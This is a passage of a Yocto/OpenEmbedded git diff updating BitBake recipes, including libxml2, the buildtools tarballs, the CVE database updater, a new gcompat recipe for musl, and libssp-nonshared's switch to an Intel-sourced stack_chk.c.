+ file://libxml-m4-use-pkgconfig.patch \
+ file://0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch \
+ file://fix-execution-of-ptests.patch \
+ file://remove-fuzz-from-ptests.patch \
+ "
+
+SRC_URI[libtar.sha256sum] = "c8d6681e38c56f172892c85ddc0852e1fd4b53b4209e7f4ebf17f7e2eae71d92"
+SRC_URI[testtar.sha256sum] = "96151685cec997e1f9f3387e3626d61e6284d4d6e66e0e440c209286c03e9cc7"
+
+BINCONFIG = "${bindir}/xml2-config"
+
+PACKAGECONFIG ??= "python \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+inherit autotools pkgconfig binconfig-disabled ptest
+
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3targetconfig', '', d)}
+
+RDEPENDS:${PN}-ptest += "bash make ${@bb.utils.contains('PACKAGECONFIG', 'python', 'libgcc python3-core python3-logging python3-shell python3-stringold python3-threading python3-unittest ${PN}-python', '', d)}"
+
+RDEPENDS:${PN}-python += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-core', '', d)}"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-ebcdic-us \
+ glibc-gconv-ibm1141 \
+ glibc-gconv-iso8859-5 \
+ glibc-gconv-euc-jp \
+ locale-base-en-us \
+ "
+
+export PYTHON_SITE_PACKAGES="${PYTHON_SITEPACKAGES_DIR}"
+
+# WARNING: zlib is required for RPM use
+EXTRA_OECONF = "--without-debug --without-legacy --with-catalog --without-docbook --with-c14n --without-lzma --with-fexceptions"
+EXTRA_OECONF:class-native = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
+EXTRA_OECONF:class-nativesdk = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
+EXTRA_OECONF:linuxstdbase = "--with-debug --with-legacy --with-docbook --with-c14n --without-lzma --with-zlib"
+
+python populate_packages:prepend () {
+ # autonamer would call this libxml2-2, but we don't want that
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('PKG:libxml2', '${MLPREFIX}libxml2')
+}
+
+PACKAGE_BEFORE_PN += "${PN}-utils"
+PACKAGES += "${PN}-python"
+
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += "${libdir}/xml2Conf.sh"
+FILES:${PN}-utils = "${bindir}/*"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
+
+do_configure:prepend () {
+ # executables take longer to package: these should not be executable
+ find ${S}/xmlconf/ -type f -exec chmod -x {} \+
+}
+
+do_compile_ptest() {
+ oe_runmake check-am
+}
+
+do_install_ptest () {
+ cp -r ${S}/xmlconf ${D}${PTEST_PATH}
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ sed -i -e 's|^\(PYTHON = \).*|\1${USRBINPATH}/${PYTHON_PN}|' \
+ ${D}${PTEST_PATH}/python/tests/Makefile
+ grep -lrZ '#!/usr/bin/python' ${D}${PTEST_PATH}/python |
+ xargs -0 sed -i -e 's|/usr/bin/python|${USRBINPATH}/${PYTHON_PN}|'
+ fi
+ #Remove build host references from various Makefiles
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -e '/^RELDATE/d' \
+ {} +
+}
+
+do_install:append:class-native () {
+ # Docs are not needed in the native case
+ rm ${D}${datadir}/gtk-doc -rf
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/meta/buildtools-extended-tarball.bb b/meta/recipes-core/meta/buildtools-extended-tarball.bb
index c32d0107c3..83e3fddccc 100644
--- a/meta/recipes-core/meta/buildtools-extended-tarball.bb
+++ b/meta/recipes-core/meta/buildtools-extended-tarball.bb
@@ -28,8 +28,21 @@ TOOLCHAIN_HOST_TASK += "\
nativesdk-libtool \
nativesdk-pkgconfig \
nativesdk-glibc-utils \
+ nativesdk-glibc-gconv-ibm850 \
+ nativesdk-glibc-gconv-iso8859-1 \
+ nativesdk-glibc-gconv-utf-16 \
+ nativesdk-glibc-gconv-cp1250 \
+ nativesdk-glibc-gconv-cp1251 \
+ nativesdk-glibc-gconv-cp1252 \
+ nativesdk-glibc-gconv-euc-jp \
+ nativesdk-glibc-gconv-libjis \
nativesdk-libxcrypt-dev \
+ nativesdk-parted \
+ nativesdk-dosfstools \
+ nativesdk-gptfdisk \
"
+# gconv-cp1250, cp1251 and euc-jp needed for iconv to work in vim builds
+# also copied list from uninative
TOOLCHAIN_OUTPUTNAME = "${SDK_ARCH}-buildtools-extended-nativesdk-standalone-${DISTRO_VERSION}"
diff --git a/meta/recipes-core/meta/buildtools-tarball.bb b/meta/recipes-core/meta/buildtools-tarball.bb
index 560b8d67b9..fb28930656 100644
--- a/meta/recipes-core/meta/buildtools-tarball.bb
+++ b/meta/recipes-core/meta/buildtools-tarball.bb
@@ -29,6 +29,8 @@ TOOLCHAIN_HOST_TASK ?= "\
nativesdk-rpcsvc-proto \
nativesdk-patch \
nativesdk-mtools \
+ nativesdk-zstd \
+ nativesdk-lz4 \
"
MULTIMACH_TARGET_SYS = "${SDK_ARCH}-nativesdk${SDK_VENDOR}-${SDK_OS}"
@@ -47,7 +49,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit toolchain-scripts-base
inherit nopackages
@@ -59,7 +60,7 @@ do_populate_sdk[stamp-extra-info] = "${PACKAGE_ARCH}"
REAL_MULTIMACH_TARGET_SYS = "none"
-create_sdk_files_append () {
+create_sdk_files:append () {
rm -f ${SDK_OUTPUT}/${SDKPATH}/site-config-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/environment-setup-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/version-*
@@ -67,7 +68,7 @@ create_sdk_files_append () {
# Generate new (mini) sdk-environment-setup file
script=${1:-${SDK_OUTPUT}/${SDKPATH}/environment-setup-${SDK_SYS}}
touch $script
- echo 'export PATH=${SDKPATHNATIVE}${bindir_nativesdk}:$PATH' >> $script
+ echo 'export PATH=${SDKPATHNATIVE}${bindir_nativesdk}:${SDKPATHNATIVE}${sbindir_nativesdk}:${SDKPATHNATIVE}${base_bindir_nativesdk}:${SDKPATHNATIVE}${base_sbindir_nativesdk}:$PATH' >> $script
echo 'export OECORE_NATIVE_SYSROOT="${SDKPATHNATIVE}"' >> $script
echo 'export GIT_SSL_CAINFO="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
echo 'export SSL_CERT_FILE="${SDKPATHNATIVE}${sysconfdir}/ssl/certs/ca-certificates.crt"' >>$script
@@ -97,3 +98,16 @@ TOOLCHAIN_NEED_CONFIGSITE_CACHE = ""
# The recipe doesn't need any default deps
INHIBIT_DEFAULT_DEPS = "1"
+
+python do_testsdk() {
+ import oeqa.sdk.testsdk
+ testsdk = oeqa.sdk.testsdk.TestSDK()
+
+ cases_path = os.path.join(os.path.abspath(os.path.dirname(oeqa.sdk.testsdk.__file__)), "buildtools-cases")
+ testsdk.context_executor_class.default_cases = cases_path
+
+ testsdk.run(d)
+}
+addtask testsdk
+do_testsdk[nostamp] = "1"
+do_testsdk[depends] += "xz-native:do_populate_sysroot"
diff --git a/meta/recipes-core/meta/cve-update-db-native.bb b/meta/recipes-core/meta/cve-update-db-native.bb
index cf2b251e21..e5822cee58 100644
--- a/meta/recipes-core/meta/cve-update-db-native.bb
+++ b/meta/recipes-core/meta/cve-update-db-native.bb
@@ -12,6 +12,8 @@ deltask do_compile
deltask do_install
deltask do_populate_sysroot
+NVDCVE_URL ?= "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-"
+
python () {
if not bb.data.inherits_class("cve-check", d):
raise bb.parse.SkipRecipe("Skip recipe when cve-check class is not loaded.")
@@ -28,7 +30,6 @@ python do_fetch() {
bb.utils.export_proxies(d)
- BASE_URL = "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-"
YEAR_START = 2002
db_file = d.getVar("CVE_CHECK_DB_FILE")
@@ -64,7 +65,7 @@ python do_fetch() {
for i, year in enumerate(range(YEAR_START, date.today().year + 1)):
bb.debug(2, "Updating %d" % year)
ph.update((float(i + 1) / total_years) * 100)
- year_url = BASE_URL + str(year)
+ year_url = (d.getVar('NVDCVE_URL')) + str(year)
meta_url = year_url + ".meta"
json_url = year_url + ".json.gz"
@@ -138,14 +139,24 @@ def parse_node_and_insert(c, node, cveId):
for cpe in node.get('cpe_match', ()):
if not cpe['vulnerable']:
return
- cpe23 = cpe['cpe23Uri'].split(':')
+ cpe23 = cpe.get('cpe23Uri')
+ if not cpe23:
+ return
+ cpe23 = cpe23.split(':')
+ if len(cpe23) < 6:
+ return
vendor = cpe23[3]
product = cpe23[4]
version = cpe23[5]
+ if cpe23[6] == '*' or cpe23[6] == '-':
+ version_suffix = ""
+ else:
+ version_suffix = "_" + cpe23[6]
+
if version != '*' and version != '-':
# Version is defined, this is a '=' match
- yield [cveId, vendor, product, version, '=', '', '']
+ yield [cveId, vendor, product, version + version_suffix, '=', '', '']
elif version == '-':
# no version information is available
yield [cveId, vendor, product, version, '', '', '']
@@ -172,7 +183,12 @@ def parse_node_and_insert(c, node, cveId):
op_end = '<'
v_end = cpe['versionEndExcluding']
- yield [cveId, vendor, product, v_start, op_start, v_end, op_end]
+ if op_start or op_end or v_start or v_end:
+ yield [cveId, vendor, product, v_start, op_start, v_end, op_end]
+ else:
+ # This is no version information, expressed differently.
+ # Save processing by representing as -.
+ yield [cveId, vendor, product, '-', '', '', '']
c.executemany("insert into PRODUCTS values (?, ?, ?, ?, ?, ?, ?)", cpe_generator())
diff --git a/meta/recipes-core/meta/dummy-sdk-package.inc b/meta/recipes-core/meta/dummy-sdk-package.inc
index bedde2965c..bd26e39ad3 100644
--- a/meta/recipes-core/meta/dummy-sdk-package.inc
+++ b/meta/recipes-core/meta/dummy-sdk-package.inc
@@ -13,7 +13,7 @@ python() {
d.setVar('PACKAGE_ARCH', '${DUMMYARCH}')
}
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PR[vardeps] += "DUMMYPROVIDES"
PR[vardeps] += "DUMMYPROVIDES_PACKAGES"
@@ -22,10 +22,10 @@ DUMMYPROVIDES_PACKAGES ??= ""
DUMMYPROVIDES_PACKAGES_MULTILIB = "${@' '.join([multilib_pkg_extend(d, pkg) for pkg in d.getVar('DUMMYPROVIDES_PACKAGES').split()])}"
DUMMYPROVIDES += "${DUMMYPROVIDES_PACKAGES_MULTILIB}"
-python populate_packages_prepend() {
+python populate_packages:prepend() {
p = d.getVar("PN")
- d.appendVar("RPROVIDES_%s" % p, "${DUMMYPROVIDES}")
- d.appendVar("RCONFLICTS_%s" % p, "${DUMMYPROVIDES}")
- d.appendVar("RREPLACES_%s" % p, "${DUMMYPROVIDES_PACKAGES_MULTILIB}")
+ d.appendVar("RPROVIDES:%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RCONFLICTS:%s" % p, "${DUMMYPROVIDES}")
+ d.appendVar("RREPLACES:%s" % p, "${DUMMYPROVIDES_PACKAGES_MULTILIB}")
}
diff --git a/meta/recipes-core/meta/meta-environment-extsdk.bb b/meta/recipes-core/meta/meta-environment-extsdk.bb
index 2076b56f25..706312b0d6 100644
--- a/meta/recipes-core/meta/meta-environment-extsdk.bb
+++ b/meta/recipes-core/meta/meta-environment-extsdk.bb
@@ -4,7 +4,7 @@ require meta-environment.bb
PN = "meta-environment-extsdk-${MACHINE}"
-create_sdk_files_append() {
+create_sdk_files:append() {
local sysroot=${SDKPATH}/tmp/${@os.path.relpath(d.getVar('STAGING_DIR'), d.getVar('TMPDIR'))}/${MACHINE}
local sdkpathnative=${SDKPATH}/tmp/${@os.path.relpath(d.getVar('STAGING_DIR'), d.getVar('TMPDIR'))}/${BUILD_ARCH}
diff --git a/meta/recipes-core/meta/meta-environment.bb b/meta/recipes-core/meta/meta-environment.bb
index da1230bead..7118fb2aef 100644
--- a/meta/recipes-core/meta/meta-environment.bb
+++ b/meta/recipes-core/meta/meta-environment.bb
@@ -9,7 +9,7 @@ MODIFYTOS = "0"
REAL_MULTIMACH_TARGET_SYS = "${TUNE_PKGARCH}${TARGET_VENDOR}-${TARGET_OS}"
inherit toolchain-scripts
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_append = " zlib"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:append = " zlib"
# Need to expand here before cross-candian changes HOST_ARCH -> SDK_ARCH
TOOLCHAIN_CONFIGSITE_NOCACHE := "${TOOLCHAIN_CONFIGSITE_NOCACHE}"
@@ -47,6 +47,11 @@ python do_generate_content() {
}
addtask generate_content before do_install after do_compile
+python () {
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=False)
+ d.appendVarFlag("do_generate_content", "file-checksums", " " + " ".join(searched))
+}
+
create_sdk_files() {
# Setup site file for external use
toolchain_create_sdk_siteconfig ${SDK_OUTPUT}/${SDKPATH}/site-config-${REAL_MULTIMACH_TARGET_SYS}
@@ -66,7 +71,7 @@ do_install() {
PN = "meta-environment-${MACHINE}"
PACKAGES = "${PN}"
-FILES_${PN}= " \
+FILES:${PN}= " \
${SDKPATH}/* \
"
diff --git a/meta/recipes-core/meta/meta-go-toolchain.bb b/meta/recipes-core/meta/meta-go-toolchain.bb
index dde385c1b1..c24518efe3 100644
--- a/meta/recipes-core/meta/meta-go-toolchain.bb
+++ b/meta/recipes-core/meta/meta-go-toolchain.bb
@@ -3,10 +3,10 @@ LICENSE = "MIT"
inherit populate_sdk
-TOOLCHAIN_HOST_TASK_append = " \
+TOOLCHAIN_HOST_TASK:append = " \
packagegroup-go-cross-canadian-${MACHINE} \
"
-TOOLCHAIN_TARGET_TASK_append = " \
+TOOLCHAIN_TARGET_TASK:append = " \
${@multilib_pkg_extend(d, 'packagegroup-go-sdk-target')} \
"
diff --git a/meta/recipes-core/meta/meta-ide-support.bb b/meta/recipes-core/meta/meta-ide-support.bb
index 768f6f4bb6..39317d50e0 100644
--- a/meta/recipes-core/meta/meta-ide-support.bb
+++ b/meta/recipes-core/meta/meta-ide-support.bb
@@ -6,10 +6,16 @@ DEPENDS = "virtual/libc gdb-cross-${TARGET_ARCH} qemu-native qemu-helper-native
PR = "r3"
RM_WORK_EXCLUDE += "${PN}"
-inherit meta toolchain-scripts nopackages
+inherit toolchain-scripts nopackages
do_populate_ide_support () {
toolchain_create_tree_env_script
}
+python () {
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=False)
+ d.setVar("CONFIG_SITE", " ".join(sitefiles))
+ d.appendVarFlag("do_populate_ide_support", "file-checksums", " " + " ".join(searched))
+}
+
addtask populate_ide_support before do_build after do_install
diff --git a/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb b/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
index cfa41c4ae6..4909401c5a 100644
--- a/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
+++ b/meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb
@@ -17,13 +17,19 @@ DUMMYPROVIDES_PACKAGES = "\
nativesdk-perl-module-file-path \
nativesdk-perl-module-file-spec \
nativesdk-perl-module-file-stat \
+ nativesdk-perl-module-file-temp \
nativesdk-perl-module-getopt-long \
nativesdk-perl-module-io-file \
+ nativesdk-perl-module-list-util \
nativesdk-perl-module-overloading \
nativesdk-perl-module-posix \
+ nativesdk-perl-module-scalar-util \
+ nativesdk-perl-module-strict \
+ nativesdk-perl-module-text-parsewords \
nativesdk-perl-module-thread-queue \
nativesdk-perl-module-threads \
nativesdk-perl-module-warnings \
+ nativesdk-perl-module-vars \
"
DUMMYPROVIDES = "\
diff --git a/meta/recipes-core/meta/signing-keys.bb b/meta/recipes-core/meta/signing-keys.bb
index 5bab94aa36..03463f95f5 100644
--- a/meta/recipes-core/meta/signing-keys.bb
+++ b/meta/recipes-core/meta/signing-keys.bb
@@ -14,9 +14,9 @@ SYSROOT_DIRS += "${sysconfdir}/pki"
PACKAGES =+ "${PN}-ipk ${PN}-rpm ${PN}-packagefeed"
-FILES_${PN}-rpm = "${sysconfdir}/pki/rpm-gpg"
-FILES_${PN}-ipk = "${sysconfdir}/pki/ipk-gpg"
-FILES_${PN}-packagefeed = "${sysconfdir}/pki/packagefeed-gpg"
+FILES:${PN}-rpm = "${sysconfdir}/pki/rpm-gpg"
+FILES:${PN}-ipk = "${sysconfdir}/pki/ipk-gpg"
+FILES:${PN}-packagefeed = "${sysconfdir}/pki/packagefeed-gpg"
python do_get_public_keys () {
from oe.gpg_sign import get_signer
diff --git a/meta/recipes-core/meta/testexport-tarball.bb b/meta/recipes-core/meta/testexport-tarball.bb
index daedd78cb4..7cb84a0104 100644
--- a/meta/recipes-core/meta/testexport-tarball.bb
+++ b/meta/recipes-core/meta/testexport-tarball.bb
@@ -26,7 +26,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit toolchain-scripts-base
inherit nopackages
@@ -38,7 +37,7 @@ do_populate_sdk[stamp-extra-info] = "${PACKAGE_ARCH}"
REAL_MULTIMACH_TARGET_SYS = "none"
-create_sdk_files_append () {
+create_sdk_files:append () {
rm -f ${SDK_OUTPUT}/${SDKPATH}/site-config-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/environment-setup-*
rm -f ${SDK_OUTPUT}/${SDKPATH}/version-*
diff --git a/meta/recipes-core/meta/uninative-tarball.bb b/meta/recipes-core/meta/uninative-tarball.bb
index c4a6c96b4d..a21d08b591 100644
--- a/meta/recipes-core/meta/uninative-tarball.bb
+++ b/meta/recipes-core/meta/uninative-tarball.bb
@@ -8,6 +8,7 @@ TOOLCHAIN_TARGET_TASK = ""
# utf-16, cp1252 - binutils-windres
TOOLCHAIN_HOST_TASK = "\
nativesdk-glibc \
+ nativesdk-glibc-dbg \
nativesdk-glibc-gconv-ibm850 \
nativesdk-glibc-gconv-iso8859-1 \
nativesdk-glibc-gconv-utf-16 \
@@ -35,7 +36,6 @@ RDEPENDS = "${TOOLCHAIN_HOST_TASK}"
EXCLUDE_FROM_WORLD = "1"
-inherit meta
inherit populate_sdk
inherit nopackages
diff --git a/meta/recipes-core/meta/wic-tools.bb b/meta/recipes-core/meta/wic-tools.bb
index 3e7d0ed48d..ba0916cb56 100644
--- a/meta/recipes-core/meta/wic-tools.bb
+++ b/meta/recipes-core/meta/wic-tools.bb
@@ -3,14 +3,15 @@ SUMMARY = "A meta recipe to build native tools used by wic."
LICENSE = "MIT"
DEPENDS = "\
- parted-native syslinux-native gptfdisk-native dosfstools-native \
+ parted-native gptfdisk-native dosfstools-native \
mtools-native bmap-tools-native grub-native cdrtools-native \
btrfs-tools-native squashfs-tools-native pseudo-native \
e2fsprogs-native util-linux-native tar-native\
"
-DEPENDS_append_x86 = " syslinux grub-efi systemd-boot"
-DEPENDS_append_x86-64 = " syslinux grub-efi systemd-boot"
-DEPENDS_append_x86-x32 = " syslinux grub-efi"
+DEPENDS:append:x86 = " syslinux-native syslinux grub-efi systemd-boot"
+DEPENDS:append:x86-64 = " syslinux-native syslinux grub-efi systemd-boot"
+DEPENDS:append:x86-x32 = " syslinux-native syslinux grub-efi"
+DEPENDS:append:aarch64 = " grub-efi systemd-boot"
INHIBIT_DEFAULT_DEPS = "1"
diff --git a/meta/recipes-core/musl/bsd-headers.bb b/meta/recipes-core/musl/bsd-headers.bb
index c9945d45eb..cf8af0da3c 100644
--- a/meta/recipes-core/musl/bsd-headers.bb
+++ b/meta/recipes-core/musl/bsd-headers.bb
@@ -27,5 +27,5 @@ do_install() {
#
COMPATIBLE_HOST = ".*-musl.*"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/gcompat_git.bb b/meta/recipes-core/musl/gcompat_git.bb
new file mode 100644
index 0000000000..955cc3c010
--- /dev/null
+++ b/meta/recipes-core/musl/gcompat_git.bb
@@ -0,0 +1,54 @@
+# Copyright (C) 2021 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "A library which provides glibc-compatible APIs for use on musl libc systems"
+HOMEPAGE = "https://git.adelielinux.org/adelie/gcompat"
+
+LICENSE = "NCSA"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=eb33ef4af05a9c7602843afb7adfe792"
+
+SRC_URI = "git://git.adelielinux.org/adelie/gcompat.git;protocol=https;branch=current"
+
+PV = "1.0.0+1.1+git${SRCPV}"
+SRCREV = "af5a49e489fdc04b9cf02547650d7aeaccd43793"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig linuxloader siteinfo
+
+DEPENDS += "musl-obstack"
+
+GLIBC_LDSO = "${@get_glibc_loader(d)}"
+MUSL_LDSO = "${@get_musl_loader(d)}"
+
+EXTRA_OEMAKE = "LINKER_PATH=${MUSL_LDSO} \
+ LOADER_NAME=`basename ${GLIBC_LDSO}` \
+ "
+
+do_configure () {
+ :
+}
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ if [ "${SITEINFO_BITS}" = "64" ]; then
+ install -d ${D}/lib64
+ ln -rs ${D}${GLIBC_LDSO} ${D}/lib64/`basename ${GLIBC_LDSO}`
+ fi
+}
+
+FILES:${PN} += "/lib64"
+
+INSANE_SKIP:${PN} = "libdir"
+
+RPROVIDES:${PN} += "musl-glibc-compat"
+#
+# We will skip parsing for non-musl systems
+#
+COMPATIBLE_HOST = ".*-musl.*"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/libssp-nonshared.bb b/meta/recipes-core/musl/libssp-nonshared.bb
index bae8c81cc7..748dacf312 100644
--- a/meta/recipes-core/musl/libssp-nonshared.bb
+++ b/meta/recipes-core/musl/libssp-nonshared.bb
@@ -2,11 +2,12 @@
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Minimal libssp_nonshared.a must needed for ssp to work with gcc on musl"
-LICENSE = "GPL-3.0-with-GCC-exception"
-LIC_FILES_CHKSUM = "file://ssp-local.c;beginline=1;endline=32;md5=c06d391208c0cfcbc541a6728ed65cc4"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://stack_chk.c;beginline=1;endline=30;md5=97e59d9deee678a9332c9ddb2ab6360d"
SECTION = "libs"
-SRC_URI = "file://ssp-local.c"
+# Sourced from https://github.com/intel/linux-sgx/blob/master/sdk/compiler-rt/stack_chk.c
+SRC_URI = "file://stack_chk.c"
INHIBIT_DEFAULT_DEPS = "1"
@@ -19,8 +20,8 @@ do_configure[noexec] = "1"
S = "${WORKDIR}"
do_compile() {
- ${CC} ${CPPFLAGS} ${CFLAGS} -fPIE -c ssp-local.c -o ssp-local.o
- ${AR} r libssp_nonshared.a ssp-local.o
+ ${CC} ${CPPFLAGS} ${CFLAGS} -fPIE -c stack_chk.c -o stack_chk.o
+ ${AR} r libssp_nonshared.a stack_chk.o
}
do_install() {
install -Dm 0644 ${B}/libssp_nonshared.a ${D}${base_libdir}/libssp_nonshared.a
@@ -29,6 +30,6 @@ do_install() {
# We will skip parsing for non-musl systems
#
COMPATIBLE_HOST = ".*-musl.*"
-RDEPENDS_${PN}-staticdev = ""
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-staticdev (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-staticdev = ""
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-staticdev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-core/musl/libssp-nonshared/ssp-local.c b/meta/recipes-core/musl/libssp-nonshared/ssp-local.c
deleted file mode 100644
index 8f51afa2c1..0000000000
--- a/meta/recipes-core/musl/libssp-nonshared/ssp-local.c
+++ /dev/null
@@ -1,45 +0,0 @@
-/* Stack protector support.
- Copyright (C) 2005-2018 Free Software Foundation, Inc.
-
-This file is part of GCC.
-
-GCC is free software; you can redistribute it and/or modify it under
-the terms of the GNU General Public License as published by the Free
-Software Foundation; either version 3, or (at your option) any later
-version.
-
-In addition to the permissions in the GNU General Public License, the
-Free Software Foundation gives you unlimited permission to link the
-compiled version of this file into combinations with other programs,
-and to distribute those combinations without any restriction coming
-from the use of this file. (The General Public License restrictions
-do apply in other respects; for example, they cover modification of
-the file, and distribution when not linked into a combine
-executable.)
-
-GCC is distributed in the hope that it will be useful, but WITHOUT ANY
-WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-for more details.
-
-Under Section 7 of GPL version 3, you are granted additional
-permissions described in the GCC Runtime Library Exception, version
-3.1, as published by the Free Software Foundation.
-
-You should have received a copy of the GNU General Public License and
-a copy of the GCC Runtime Library Exception along with this program;
-see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
-<http://www.gnu.org/licenses/>. */
-
-extern void __stack_chk_fail (void);
-
-/* Some targets can avoid loading a GP for calls to hidden functions.
- Using this entry point may avoid the load of a GP entirely for the
- function, making the overall code smaller. */
-
-void
-__attribute__((visibility ("hidden")))
-__stack_chk_fail_local (void)
-{
- __stack_chk_fail ();
-}
diff --git a/meta/recipes-core/musl/libssp-nonshared/stack_chk.c b/meta/recipes-core/musl/libssp-nonshared/stack_chk.c
new file mode 100644
index 0000000000..097aae24b6
--- /dev/null
+++ b/meta/recipes-core/musl/libssp-nonshared/stack_chk.c
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2011-2021 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in
+ * the documentation and/or other materials provided with the
+ * distribution.
+ * * Neither the name of Intel Corporation nor the names of its
+ * contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+extern void __attribute__((noreturn)) __stack_chk_fail(void);
+
+void
+__attribute__((noreturn))
+__attribute__((visibility ("hidden")))
+__stack_chk_fail_local (void)
+{
+ __stack_chk_fail ();
+}
diff --git a/meta/recipes-core/musl/libucontext/0001-meson-Add-option-to-pass-cpu.patch b/meta/recipes-core/musl/libucontext/0001-meson-Add-option-to-pass-cpu.patch
new file mode 100644
index 0000000000..1fdc9f739d
--- /dev/null
+++ b/meta/recipes-core/musl/libucontext/0001-meson-Add-option-to-pass-cpu.patch
@@ -0,0 +1,49 @@
+From a530eed9e7e6872e10fe92efaf1e9739471c30ca Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 30 May 2021 08:30:28 -0700
+Subject: [PATCH] meson: Add option to pass cpu
+
+This helps with cross compile setups, where host_cpu != target_cpu
+therefore detecting it on the fly will end up with wrong cpu to build
+for
+
+Upstream-Status: Submitted [https://github.com/kaniini/libucontext/pull/28]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ meson.build | 6 +++++-
+ meson_options.txt | 4 +++-
+ 2 files changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index e863780..2b4bdbd 100644
+--- a/meson.build
++++ b/meson.build
+@@ -6,7 +6,11 @@ project(
+ version : run_command('head', files('VERSION')).stdout()
+ )
+
+-cpu = host_machine.cpu_family()
++cpu = get_option('cpu')
++if cpu == ''
++ cpu = host_machine.cpu_family()
++endif
++
+ if cpu == 'sh4'
+ cpu = 'sh'
+ endif
+diff --git a/meson_options.txt b/meson_options.txt
+index d4201d1..864d83c 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -1,4 +1,6 @@
